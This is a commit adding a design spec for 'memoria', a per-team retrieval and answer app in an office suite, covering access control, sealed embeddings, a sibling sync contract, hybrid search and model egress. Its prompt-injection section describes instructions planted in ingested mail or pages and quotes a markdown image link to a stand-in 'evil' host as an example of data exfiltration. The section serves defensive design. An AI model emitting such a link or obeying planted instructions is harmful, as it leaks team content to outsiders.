oficina / memoria Public

docs(spec): memoria — the suite's memory, designed

A per-team knowledge app beside sheets, docs and calendar. Indexes only
team-visible content, re-checks visibility before it speaks, and seals
its index because an embedding inverts back to text.

Designed across six Fable passes, one of them an adversarial review that
returned REJECT against the proposal as first worded. Four of its six
counts attached to one choice — storing a per-viewer copy — and §1.1
records how the one-ACL ruling kills them.

Two rulings by Paul, both 2026-09-03: the suite is the app, so a team's
instances are one trust domain; and model egress is permitted to one
named provider, opt-in per team, named on every answer.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SiWVaR69Vb2Lzc9wgfit1v
Paul Campbell pushed by paul@keymail.dev 641b8f64e9f3ac71e3cea754ff506d4b866378b8
1 file changed, +652 −0
  • docs/superpowers/specs/2026-09-03-memoria-design.md +652 −0
diff --git a/docs/superpowers/specs/2026-09-03-memoria-design.md b/docs/superpowers/specs/2026-09-03-memoria-design.md
new file mode 100644
index 0000000..78f085f
--- /dev/null
+++ b/docs/superpowers/specs/2026-09-03-memoria-design.md
@@ -0,0 +1,652 @@
+# 🤖 memoria — design
+
+The Oficina suite's memory. One instance per team, at
+`<team>.memoria.oficina.works`.
+
+**Status:** draft, 2026-09-03. Brainstormed across six Fable passes, one
+of them an adversarial review that returned REJECT against the proposal
+as first worded. §1 records what changed in response. Not yet reviewed
+under AGENTS.md §Review — that pass is owed before this is approved.
+
+---
+
+## 0. The one rule
+
+> **memoria indexes only what the whole team can already see, and it
+> never speaks a passage without re-checking that this is still true.**
+
+Everything below follows from that sentence. It is the reason memoria
+has no per-item ACL to copy, no revocation queue to drain, and no way to
+recite a document to a person who has lost access to it.
+
+The second rule is Sheets' rule, unchanged: **the bucket never holds a
+plaintext cell.** For memoria this binds harder than it looks, because
+an embedding is a plaintext cell in a costume — see §3.1.
+
+---
+
+## 1. Settled decisions (don't relitigate casually)
+
+| # | Decision | Rejected alternative | Who, when |
+|---|---|---|---|
+| 1 | **The suite is the app; the team is the boundary; the implementer declares the process set.** A team's instances of sheets, docs, calendar and memoria are one trust domain. | Four boundaries, one per process — memoria could then hold only person-initiated snapshots, stale the moment taken | Paul, 2026-09-03 |
+| 2 | **Not a doctrine change.** CARLOS apps to date have been single processes, so process and app coincided. Oficina's app is a suite. The doctrine is that the implementer chooses the boundary; this is applying it, not amending it. | Filing it as a family ruling at `carlos/pegamento`, the way home §2.3 filed its divergence | Paul, 2026-09-03 |
+| 3 | **One ACL: "is a member of this team".** Nothing enters memoria that is not team-visible. Guests and link viewers get nothing at all. | Replicating each app's grants join; a per-person index; query-time per-person filtering over a superset corpus | Fable ingestion pass, adopted 2026-09-03 |
+| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer, disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03 |
+| 5 | **The search floor works with AI switched off**, and is the product. The generated answer is an enhancement on top of it. | An answer-first product with search as a fallback | AGENTS.md §Authorship, applied |
+| 6 | **Embeddings and FTS5 postings are content.** They never reach replicated SQLite or the bucket unsealed. | Treating a vector as a derived artefact outside §0's scope, on the grounds that no plaintext bytes appear | Fable trust pass, adopted 2026-09-03 |
+| 7 | **Every sibling call is a pull. There is no push.** | An outbox per sibling, mirroring Sheets §9.1.1 | Fable contract pass, adopted 2026-09-03 |
+| 8 | **Provenance or deletion.** A derived artefact whose provenance no longer resolves is deleted, not kept. memoria never fine-tunes on the corpus. | Retaining synthesised facts after their sources go | Fable ingestion pass, adopted 2026-09-03 |
+| 9 | **Name: `memoria`.** House convention is plain Spanish office nouns. A *memoria* is both a memory and, in Spanish office usage, a written record. | `archivo` (the records room — undersells an app that answers); `cerebro`; `base`; anything English | Paul, 2026-09-03 |
+
+### 1.1 What the adversarial review killed, and what replaced it
+
+The proposal as first worded — ingest everything from every app, store a
+copy, filter per viewer, route questions to whichever model OpenRouter
+picks — was reviewed against the specs and rejected on six counts. Four
+of them attached to a single choice, *store a per-viewer copy*. They are
+recorded here because each is a live trap for anyone who tries to widen
+this design later.
+
+- **A per-viewer ACL on a synthesised answer is not expressible.** Sheets
+ §4.5's access is a hand-written grants join; memoria cannot evaluate it
+ and a copy drifts. The failure is worse than escritorio's: not a stale
+ title in a list, but a paraphrase of a document the reader was removed
+ from, inside a confident answer, with no line to point at. **Killed by
+ decision 3** — with one team-wide ACL there is no per-item predicate to
+ drift.
+- **Revoke has a weeks-long tail.** Sheets §9.1.1: the outbox drains on
+ wake and on share mutation, "not on a ticker… a failed upsert may wait
+ weeks". **Killed by decisions 3 and 7** plus the pre-answer re-check
+ (§6): the only fact that can change is "still team-visible?", and it is
+ asked at query time, not cached.
+- **The home cannot query memoria.** Home §0 says it "never learns what
+ is in anything"; §2.2 forbids rendering content from an instance and
+ forbids holding an authorization model. A generated answer is content.
+ **Accepted, not worked around** — see §9.1.
+- **Blocked on person refs** (home §13 step 4, not started). **Accepted**
+ — it is the same ship gate Sheets and Docs already sit behind, not a
+ new one. Everything here builds against stubs.
+
+Two counts were work rather than kills: the sealed-index design (§7),
+which Docs §15.2 had recorded as having no design, and the egress ruling
+(§8.3), which decision 4 settles.
+
+---
+
+## 2. What memoria is
+
+A fourth per-team instance app, beside sheets, docs and calendar, with
+its own DEK, its own members table and its own origin. It holds the
+team's content in a sealed index and answers questions over it with
+citations.
+
+**What it is for.** Nothing in the suite answers a question. Docs ships
+title and metadata search; Sheets has a recency list; the home's call 3
+says where your things are. Asking *"what did we decide about X"* and
+getting an answer grounded in the team's own documents is the gap.
+
+**What it never does.**
+
+- **Never holds anything not visible to the whole team.** A guest's
+ individually-granted sheet is not in memoria, and cannot be put there.
+- **Never writes to a sibling.** There is no write path in the contract,
+ in either direction.
+- **Never acts as a person.** It holds no signing key; every assertion's
+ `aud` binds to "app + instance host" (home §5.3).
+- **Never crosses a team label.** §6.3.
+- **Never trains or fine-tunes.** Weights are the one copy that cannot be
+ forgotten (decision 8).
+- **Never recomputes a number.** A question with an arithmetic answer
+ cites the cell; Sheets' engine is the app of record. A brain that
+ recalculates is a second calculator that disagrees with the first.
+
+---
+
+## 3. Trust model and the leak list
+
+Sealed at rest under memoria's own DEK, HKDF purpose keys, AES-GCM, as
+Sheets §2 and home §3. What follows is what that does *not* cover.
+
+### 3.1 Embeddings are content
+
+The case that a vector is not plaintext: nothing in the bucket contains
+the bytes `salary 50000`; the plaintext-grep gate passes; a vector is a
+lossy derived artefact.
+
+The case that it is: this suite already seals derived artefacts — Sheets
+§2.1 seals the *cached computed value* even though it is only a function
+of sealed inputs — and embedding inversion is not hypothetical.
+Published vec2text-style attacks recover 32-token inputs close to
+verbatim, and 32 tokens is the size of a cell, a title, or a sentence.
+
+**Ruled:** chunk text, embeddings and the index graph are all §0 content.
+An unsealed embedding is a plaintext cell that happens to beat a byte
+grep — which is precisely the failure home §5.1 names in its own words,
+"turning a guarantee into a comment".
+
+**This applies to FTS5 too, and it is the constraint that shapes §7.**
+FTS5 stores term postings in plaintext, so the index cannot live in the
+replicated SQLite file at all.
+
+**Searching sealed vectors directly is not available.** Encrypted-ANN
+schemes are research-grade and orders of magnitude slower. Rejected. The
+working shape is the one Sheets §4.4 already uses for its handle: seal
+the serialised index as one blob, decrypt into a refcounted in-memory
+handle on wake, evict on idle. The graph is sealed *with* the vectors,
+because neighbour edges alone reveal which passages resemble each other.
+
+### 3.2 The leak list
+
+**From the bucket:** document and chunk counts; sealed blob sizes; source
+app and coordinates per chunk, which stay plaintext exactly as Sheets
+§2.2 keeps coordinates; ingest and update timestamps, therefore which
+sources are busy and when; embedding dimension, therefore the model.
+
+**From a live host — the largest entry, and new.** A compromised memoria
+host holds the team's whole corpus across every app, plaintext in RAM,
+plus the key to a sealed blob that is the same corpus inverted. This
+aggregation point did not previously exist: a Sheets host holds handles
+only for *open* sheets (§2.5). Home §2's "blast radius is bounded by what
+a service holds" is now the argument *against* memoria, because memoria
+holds the most. Decision 1 accepts this knowingly; §3.4 lists what
+shrinks it.
+
+**From logs, errors and metrics:** a question is content — *"what does
+Bob earn"* is a cell value phrased as a query. Sheets AGENTS.md's rule
+extends to cover query text, answer text and cited snippets. Token counts
+per query still leak length.
+
+**From the index structure, even sealed:** blob size tracks corpus size;
+update cadence tracks ingest; the platform observes timing, volume and
+which team is awake.
+
+**From a sibling:** bodies transit the router in plaintext on every S3
+fetch (§6.1).
+
+**From the provider, when AI is on:** the retrieved top-k, roughly 10
+chunks × 500 tokens = 5k tokens of team content per question. At 100
+questions a day that is half a million tokens a day of the team's
+*most-asked-about* content. Over months, the frequently-consulted part of
+the corpus has left in full. This is the entry most likely to be
+understated, so it is stated in volume rather than in principle.
+
+### 3.3 A citation is exactly as trustworthy as the app it cites
+
+A compromised sibling has no inbound path to memoria and holds no memoria
+token, so it cannot read or write. What it *can* do is lie: serve
+fabricated content on S3, answer "visible" on S2 for a document that is
+not, withhold tombstones. memoria's re-check asks the same lying app.
+
+There is no mitigation, only disclosure. The README says this sentence.
+
+### 3.4 Cheap mitigations
+
+- **memoria hibernates.** Home §2.1 made the home the one exception on the
+ estate; memoria is not another. It reloads its sealed index on wake.
+- **Per-source subsets**, owner-selected, default all.
+- **A published-only mode**, in which the source app carries an explicit
+ "offer to memoria" mark that *it* evaluates — so the one-ACL rule
+ holds and memoria's corpus is a strict subset of team-visible.
+- **Refusing sources by kind.** Calendar bodies off by default.
+- **Idle eviction** of the decrypted handle.
+
+### 3.5 The honest claim
+
+The README's first paragraph, in substance:
+
+> memoria's index and passages are sealed at rest under this team's own
+> key. Nothing readable reaches storage. But an index of this kind cannot
+> be searched without decrypting it, so a compromised running instance
+> can read the whole corpus — not just what someone has open. memoria
+> holds more of your team's work in one place than any other app in the
+> suite, and that is the point of it and the risk of it. When the
+> assistant is switched on, the passages used to answer a question are
+> sent to the provider named on that answer, who can read them; we rely
+> on their retention terms and cannot verify them. We never claim we
+> can't read your data, and with the assistant on we never claim nobody
+> else can either.
+
+---
+
+## 4. The one ACL
+
+**A person may use memoria if they are a member of this team.** Evaluated
+from memoria's own members table on every request, exactly as every other
+instance does (home §5.5: the instance "decides capability entirely from
+its own grants"). No guests. No link viewers. No anonymous read.
+
+**A document may be in memoria if it is visible to the whole team in its
+source app.** One predicate, owned and evaluated by the source app, never
+by memoria.
+
+The consequence worth stating plainly: **memoria cannot express a
+per-item ACL, so it cannot drift into a wrong one.** This is the property
+that the escritorio review's third count says a suite index cannot have,
+bought by giving up individually-granted content entirely.
+
+A person removed from the team is refused at the door with zero latency.
+A document narrowed from team-visible to a subset is withheld at the next
+query it would have appeared in, and purged on the next feed pull.
+
+---
+
+## 5. Ingestion
+
+**Ingestion is an authorisation event, never a sweep.** Content enters
+two ways.
+
+**From a sibling app (§6):** the change feed offers items already marked
+team-visible. No human act is needed because the team-visibility mark
+*is* the authorisation, and the source app owns it.
+
+**From outside the suite:** an admin configures a connector, and the
+sharing act at the far end is the publish — a Notion space shared with
+the integration, a Drive folder, a mail label.
+
+### 5.1 What a connector must supply
+
+Five things: a stable external id, a change feed (or an enumeration cheap
+enough to diff), a mapping onto memoria's single ACL, a content
+extractor, and a delete signal.
+
+| Source | Id | Feed | ACL maps | Extract | Delete | Verdict |
+|---|---|---|---|---|---|---|
+| Oficina siblings | ✅ | ✅ | ✅ team-visible mark | ✅ | ✅ tombstone | Full |
+| Google Drive | ✅ | ✅ changes API | ❌ per-file | ✅ | ✅ | Publish-gated |
+| Notion | ✅ | ⚠️ `last_edited_time` polling | ❌ | ✅ | ❌ diff only | Publish-gated |
+| Email | ⚠️ Message-ID | ✅ UID / history id | ❌ **fundamentally** | ✅ | ⚠️ Gmail only | Forward-only |
+| Files | content hash | ❌ | ❌ | ✅ | ❌ | Upload only |
+
+**Only the siblings supply all five.** Every external connector is
+publish-gated with deletion by enumeration diff.
+
+**Email cannot be swept, and this is not a limitation to design around.**
+A thread's audience is the three people on it; the team is twenty. A
+connector that pulls a mailbox publishes to twenty people what three
+received. Mail enters by forward-or-label only — a person moves a thread
+into memoria and it becomes the team's, like a document they wrote.
+
+### 5.2 Deletion, and the hard case
+
+Chunks and vectors are rows under memoria's DEK; they go on the tombstone
+or the next diff.
+
+The hard case is derived content, because a fact outlives its source.
+Once memoria has synthesised *"the Q3 target is X"* from a document it can
+no longer see, the sentence survives the ACL that governed it.
+
+**Ruled (decision 8): every derived artefact carries provenance to source
+ids, and one whose provenance no longer resolves is deleted, not kept.** A
+summary of three documents with one gone is regenerated from two, or
+removed. "The Q3 target is X" with no live source does not exist. Cached
+answers are content too: provenance-stamped, invalidated when any source
+changes.
+
+The corollary is decision 8's second half. **memoria never fine-tunes on
+the corpus**, because weights are the one copy that cannot be forgotten.
+Retrieval at query time only.
+
+### 5.3 What "continuously evolving memory" honestly means
+
+Three readings. Re-index on change — a search index, honestly named.
+Derived notes regenerated when their sources change — a materialised view
+with provenance. Updated weights — never, per above.
+
+**The smallest honest version is the first two:** a team-visible corpus
+re-indexed off change feeds, with provenance-stamped answers that expire
+when a source moves. It is a cache over sources, and it forgets exactly
+when the sources do. What it cannot honestly be is a system that knows
+things nobody can produce a document for.
+
+---
+
+## 6. The sibling contract
+
+Decision 1 makes cross-app pull legal. Nothing yet makes it possible:
+every home contract call is instance→home or person→home, §6 rejected a
+re-announce sweep because it "has no channel to reach instances", and
+`aud` binds every assertion to one host. This section is the missing
+channel.
+
+### 6.1 The calls
+
+All are memoria → sibling, and all are pulls. **Push is rejected on three
+grounds:** a sibling outbox drains on wake and share mutation, not on a
+ticker (Sheets §9.1.1), which is adequate for a hint and useless for
+content; push would wake a hibernating memoria on every keystroke in three
+apps; and push inverts custody, since each sibling would then hold a
+memoria token and memoria would grow an inbound surface it does not have.
+
+Pull is safe because of the pre-answer re-check: **a stale index costs a
+miss, never a leak.**
+
+memoria pulls on its own wake and on each question. It runs no timers. A
+quiet team's first question after a fortnight pays the catch-up, and the
+page says so.
+
+| # | Call | Direction | Notes |
+|---|---|---|---|
+| S1 | Change feed | pull | Cursor is an opaque position in the sibling's own event log, issued by the sibling, stored per consumer. A row is `(item id, revision, visible-to-team, gone, touched_at)` — **no title, no content**, so the feed passes the plaintext-grep gate unaided. Retention is a **per-consumer TTL**: home §9.1's generalisation is that "any 'prune when all consumers have caught up' is unbounded in a hibernating fleet". A consumer past its TTL gets a full re-announce, not a delta. A restore-from-backup cursor rewind takes the same path. |
+| S2 | Visibility re-check | pull, batched | Ids → yes/no each, evaluated by the sibling's own grants join, never from the feed. Body cap **64 ids**: the retrieval top-k ceiling, so one answer's candidate set fits one call. |
+| S3 | Content fetch | pull | `(id, revision)` → plaintext body over TLS into memoria's RAM only. The sibling re-runs its grants join at fetch time and **404s, never 403s**, so a guest-granted item is indistinguishable from a missing one. |
+| S4 | Tombstone | *a feed row* | `gone` covers deletion **and** downgrade from team-visible to individually-granted, indistinguishably. Deliberate: telling them apart is a fact about a document memoria is no longer allowed to hold. |
+| S5 | Consumer expiry | *no call* | TTL expiry is the decommission verb. Home §9.1 needed an explicit one; here the TTL is it. |
+
+**When a sibling does not answer S2, memoria withholds loudly:** *"Sheets
+did not answer; 7 results withheld."* Never a silently narrower answer.
+The house rule is that a plausible empty list is the worst available
+failure shape, and this is the place memoria would produce one.
+
+### 6.2 Authentication
+
+**Ruled: per-consumer bearer tokens, minted by the operator drain,
+delivered as platform config at provisioning.** Home §9 already works this
+way — "a fresh instance gets its token as platform config and its
+allowlist entry from the drain, in the step that creates it". The drain
+mints three tokens for memoria and writes each sibling's `consumers` row
+(origin, hashed token, cursor, TTL, epoch). Rotation is a drain verb, and
+it exists before launch rather than after the first leak.
+
+Three alternatives rejected:
+
+- **The home issues the token.** Rejected on home §7's load-bearing safety
+ fact: "the home holds no provisioning credential", so an RCE on an
+ internet-facing sign-in surface reaching instance creation is impossible
+ by construction. A home that mints corpus-read credentials breaks that,
+ and breaches §2.2 the moment it decides *which* origin gets one.
+- **A team-scoped shared secret.** Cannot rotate per consumer; discards
+ "consumer identity is its origin".
+- **Mutual TLS.** Impossible on this platform: TLS terminates at Carloku's
+ router under a wildcard certificate per app zone (home §4), so the app
+ never sees a client certificate.
+
+### 6.3 What stops team X reaching team Y
+
+Team identity is the hostname label, per home ruling 16:
+`<team>.<app>.oficina.works`. Cross-team access fails three independent
+ways, each a test rather than a policy:
+
+1. **No credential.** Team X's memoria holds tokens whose hashes live only
+ in team X's siblings.
+2. **No allowlist row.** A sibling's `consumers` table holds exactly one
+ origin, written once by the drain.
+3. **No dial.** memoria's client refuses any host whose `<team>` label
+ differs from its own, test-enforced against a fixture of hostile
+ hostnames.
+
+Same-team membership is therefore *provenance*, not a runtime query: the
+drain provisioned the hosts together and nothing re-derives membership at
+runtime. **The home is not on this path at all** — no instance ever asks
+it "may memoria read this" — which is how §2.2 survives decision 1
+intact.
+
+### 6.4 What decision 1 does not license
+
+Any hop across a `<team>` label. Any instance presenting an assertion —
+assertions belong to persons. Any write. Any item outside the team-wide
+grant. The home in the loop. Content leaving the four hosts, except §8.3's
+named provider, which is a disclosed exception and not a sibling.
+
+---
+
+## 7. The index
+
+The design Docs §15.2 recorded as missing: *"An FTS5 index is plaintext in
+SQLite and would fail our own gate; decrypting the corpus per query is
+O(corpus). Full text waits for a design, not for a decision."*
+
+**Hybrid BM25 + dense vectors, fused by reciprocal rank, both sealed at
+rest and both resident in RAM while awake.**
+
+**FTS5 is available cgo-free.** Verified this session against the suite's
+pinned `modernc.org/sqlite v1.55.0`: a `CGO_ENABLED=0` binary created
+`fts5(body, tokenize='porter unicode61')`, ran `bm25()`, and reported
+SQLite 3.53.3. So BM25 costs nothing new — but per §3.1 its postings are
+plaintext, so the FTS table lives on non-replicated scratch or in memory
+and is snapshotted to the bucket as a sealed blob. **Whether CARLOS
+provides non-replicated scratch is unverified — §13.**
+
+**Vectors: brute-force cosine over an int8 matrix. No ANN index.**
+
+| chunks | 768-dim f32 | 1536-dim f32 | per-query, one core |
+|---|---|---|---|
+| 10k | 31 MB | 61 MB | 4–15 ms |
+| 100k | 307 MB | 614 MB | 40–160 ms |
+| 1M | 3.1 GB | 6.1 GB | 0.4–1.6 s, and the RAM is not there |
+
+At dogfooding scale — 30k documents at roughly 3 chunks of 400 tokens —
+the corpus is about 90k chunks. Requesting 512-dim Matryoshka embeddings
+gives 90k × 512 × 4 B = 184 MB, or **46 MB int8-quantised**, inside the
+brute-force band with room to spare. An approximate index at this size
+buys nothing and adds a persistence format.
+
+**Trigger for ANN: 250k chunks.** `coder/hnsw` is pure Go and available
+when it fires.
+
+**Cold start: snapshot, never rebuild.** Sealed snapshots at 90k chunks
+are roughly 60 MB of FTS index and 46 MB of vectors. Download plus
+AES-GCM decryption puts that at **1–3 s over process start**. Rebuilding
+FTS5 from sealed chunks instead would be 10–30 s. Budget ≤5 s, which caps
+the sealed load at about 250 MB and therefore **~100k chunks** — the same
+ceiling the brute-force arithmetic gives, which is tidy.
+
+Load order: FTS snapshot first, then serve; vectors in the background. A
+query landing before the vectors are ready is answered lexically, and the
+page's footer says so in one line.
+
+**Embeddings come from a hosted API**, because there is no mature pure-Go
+ONNX runtime and `onnxruntime-go` needs a shared library. This makes
+embedding part of the AI-on layer, not the floor — §8.1 says what the
+floor does without it.
+
+---
+
+## 8. Retrieval and the answer
+
+### 8.1 The floor, with AI switched off
+
+A search engine over the team's content. A GET form, `?q=`, ranked
+passages, each carrying app, title, locator (tab and range; heading),
+👨/🤖 marker, date, and a deep link to the owning instance. Scriptless,
+paginated, rastrillo `server` shape.
+
+Lexical only — BM25 alone, since embeddings need a provider. This is a
+real product, not a degraded one: it is the full-text search Docs has
+been waiting for, over the whole suite.
+
+### 8.2 Routing, decided after retrieval
+
+Retrieval is free, so the router runs on results rather than on the
+question. Five classes, three of which call no model:
+
+| Class | Signal | Route |
+|---|---|---|
+| Navigational | "where is the Q3 budget" | **No model.** Result list. |
+| Numeric / aggregate | asks for a computed value | **No model.** Cite the cell or range; Sheets is the app of record. |
+| Who knows about X | asks about people | **No model.** Authorship markers on top-K, aggregated, filtered to what the asker can see. |
+| Single-source factual | large top-1 BM25 margin, one document | Cheap model, extractive. |
+| Synthesis | top-K spread across ≥3 documents | Frontier model. |
+
+Two configuration names — `model.cheap`, `model.frontier` — with the
+route printed on the answer and in the prompt ledger.
+
+**`openrouter/auto` is disqualified.** It selects by trailing-7-day
+community spend, changes weekly, and cannot be attributed — which fails
+AGENTS.md §Review's "record which model", and fails decision 4's
+requirement to name the recipient in advance.
+
+### 8.3 Egress
+
+Per decision 4: one provider, fixed by the team owner, named on every
+answer, disclosed in the README's first paragraph, opt-in per team, with
+§8.1 working when it is off.
+
+**This qualifies Docs §11.2**, which rejected third-party conversion APIs
+because they ship "customer documents to a third party, contradicting
+§2". The difference is opt-in, naming, and the AI-off floor. **It is not a
+difference in what the provider sees.** Because Docs is a separate repo,
+the qualification must be recorded there too, or the two specs
+contradict each other — §13.
+
+### 8.4 Citations with an optional answer, never the reverse
+
+A citation list is always served without an answer. **An answer is never
+served without its list.** With AI on, a 🤖 paragraph appears *above* the
+list; every sentence carries a passage id from it, and a sentence citing
+nothing is dropped before render.
+
+### 8.5 Prompt injection
+
+Ingested content becomes model input, and an email or a Notion page can
+carry instructions. Containment that actually exists:
+
+- **No tools.** memoria retrieves and answers. It never writes to a
+ sibling, and never fetches a URL at answer time.
+- **No remote loads in rendered answers.** `![](https://evil/?d=…)` is
+ exfiltration without a tool. Strip remote images; refuse links to
+ non-suite hosts.
+- **Retrieval is scoped before the model exists.** The model is never the
+ authorisation layer. Injection cannot cross a grant line because there
+ is nothing on the other side to retrieve.
+- **Every claim carries an openable citation.** Poisoning one document to
+ lie about another survives all of the above; a snippet the reader can
+ check is the only mitigation, and it is a partial one.
+
+### 8.6 Cost
+
+**Ingest:** 30k documents ≈ 60M tokens ≈ **$1.20 once** on
+`text-embedding-3-small`, $7.80 on `-large`. Re-embed only changed chunks.
+
+**Query:** retrieval is free. The generative layer sends ~8 passages plus
+instructions — ~5k tokens in, ~500 out. Cheap model ~$0.001–0.003;
+frontier ~$0.02–0.10. Five people × 20 queries/day × 22 days = 2,200
+queries: **~$5/month if most route cheap, ~$100 if most route frontier.**
+
+The money is recurring query tokens, by at least an order of magnitude.
+That is the economic argument for §8.2's router, and for the three
+classes that call no model at all.
+
+---
+
+## 9. The API surface
+
+Plain REST, following home §9's conventions: per-consumer bearer tokens
+stored hashed, consumer identity is its origin, origins allowlisted, hard
+body caps whose number carries its reason in a comment, rotation before
+launch.
+
+- **`POST /ingest`** — chunks with locator and author marker. Idempotent
+ on `(consumer, doc, version)`. Body cap 1 MiB, with the reason measured
+ before the number is committed.
+- **`GET /query?q=`** — passages as JSON; `&answer=1` adds the model
+ layer. `q` capped at 1 KiB. **Never logged.**
+- **`GET /feed?since=<cursor>`** — a polled cursor, not SSE, because
+ consumers hibernate and run no timers. Per-consumer TTL; a consumer past
+ its TTL gets a full re-announce. This is the home spec's lesson applied
+ a third time.
+- **`DELETE /ingest/{doc}`**.
+
+**MCP is deferred**, as a thin JSON-RPC adapter over the same three calls.
+Trigger: the first consumer that speaks it.
+
+### 9.1 The home links; it never renders
+
+Home §2.2 forbids the home rendering content from an instance, and a
+generated answer is content. It also forbids it holding an authorization
+model, which deciding whose answer to show would be. And memoria is
+per-team, so "the home knows everything about all the apps" across teams
+is federation.
+
+**The home gets one directory row (`app = memoria`) and a search box that
+is a GET form redirecting to the team's memoria, call-6 style.** memoria
+renders on its own origin. The home never sees `q`.
+
+---
+
+## 10. Testing gates
+
+1. **Plaintext grep** over raw SQLite bytes and bucket objects, from the
+ first commit, as Sheets. `plaintextExempt` starts empty.
+2. **Inversion probe** — the gate the byte grep cannot see. A seeded
+ corpus, an embedding-inversion attempt against whatever is at rest,
+ and a threshold. Without this, §3.1's ruling is a comment.
+3. **Feed rows carry no content** — plaintext grep extended over S1 rows.
+4. **No content in logs**, extended to cover query text, answer text and
+ cited snippets.
+5. **Cross-team dial refusal**, against a fixture of hostile hostnames.
+6. **Withhold loudly** — a silent sibling produces a stated withholding,
+ never a shorter list.
+7. **Two-consumer isolation** on the sibling endpoints.
+8. **Answer sentences cite listed passages**; an uncited sentence is
+ dropped before render.
+9. **AI-off floor** — every affordance in §8.1 works scriptless with the
+ provider unreachable.
+10. **Restore drill** with a rewound cursor, proving the re-announce path.
+
+---
+
+## 11. Sequencing
+
+**Slice 0 — buildable today, no contract, no blockers.** Scaffold, sealed
+store, and §7 proven end to end: chunk, embed, seal, wake, hybrid search,
+scriptless UI with citations. Content enters by upload and paste only.
+Worth doing first on its own merits: it is the design Docs §15.2 deferred
+for want of one, so proving it here unblocks Docs whether or not memoria
+ever reads a sibling.
+
+**Slice 1 — the sibling contract (§6).** One source app first — Docs,
+since it has bodies. Feed, re-check, fetch, tombstones. Needs the drain to
+grow atomic multi-host provisioning and token minting.
+
+**Slice 2 — the model layer (§8).** Named provider, router, answer-above-
+citations, README disclosure, Docs §11.2 qualification recorded in Docs.
+
+**Slice 3 — external connectors (§5.1).** Drive, Notion, mail-by-forward.
+
+**Ship gate throughout:** home §13 step 4 (person refs) before any of it
+reaches a shared host — the same gate Sheets and Docs sit behind.
+
+Slice 0 carries no doctrinal debt. Everything contested lives in slices 1
+and 2.
+
+---
+
+## 12. Deliberately not built yet
+
+| Thing | Trigger |
+|---|---|
+| ANN index (`coder/hnsw`) | The corpus passes 250k chunks |
+| MCP adapter | The first consumer that speaks it |
+| Calendar as a source | Calendar has a spec and content; bodies off by default even then |
+| Mail connector beyond forward-or-label | Never by sweep. A mail repo exists **and** a per-thread audience maps onto a team |
+| Cached answers | Query cost becomes visible. Requires §5.2's provenance invalidation first |
+| Per-source subsets in the UI | An owner asks to exclude a source |
+| A local model | Egress becomes unacceptable to a team, or on-instance generation stops being mediocre |
+| Cross-team anything | Never, under §6.4 |
+| Fine-tuning on the corpus | Never, under decision 8 |
+
+---
+
+## 13. Open
+
+- **§Review pass** by the highest-capability model available, per
+ AGENTS.md. This spec has had six brainstorming passes and one
+ adversarial review of the *proposal*; it has had no review of *itself*.
+- **Does CARLOS provide non-replicated scratch storage?** Unverified.
+ §7's index has to live somewhere that is not the replicated SQLite
+ file; in memory works but makes every wake pay the download.
+- **OpenRouter's embeddings endpoint** is reported by several sources to
+ be OpenAI-compatible at `/api/v1/embeddings`, but their documentation
+ page 404'd when checked. Verify before depending on one key covering
+ both embeddings and chat.
+- **Docs §11.2's qualification** must be recorded in the Docs repo by
+ `docs-e6`, or the two specs contradict.
+- **A `carlos/platform` discussion** noting that the app boundary is the
+ implementer's to declare, and that Oficina declares it at the suite —
+ informational, not a doctrine proposal (decision 2).
+- **Chunking strategy** is unspecified: a spreadsheet is not prose, and a
+ 400-token chunk of a grid may be meaningless. Sheets may need a
+ per-tab or per-region strategy that Docs does not.
+- **Whether Sheets and Docs will accept the S1–S3 endpoints**, which is
+ work in their repos, not this one.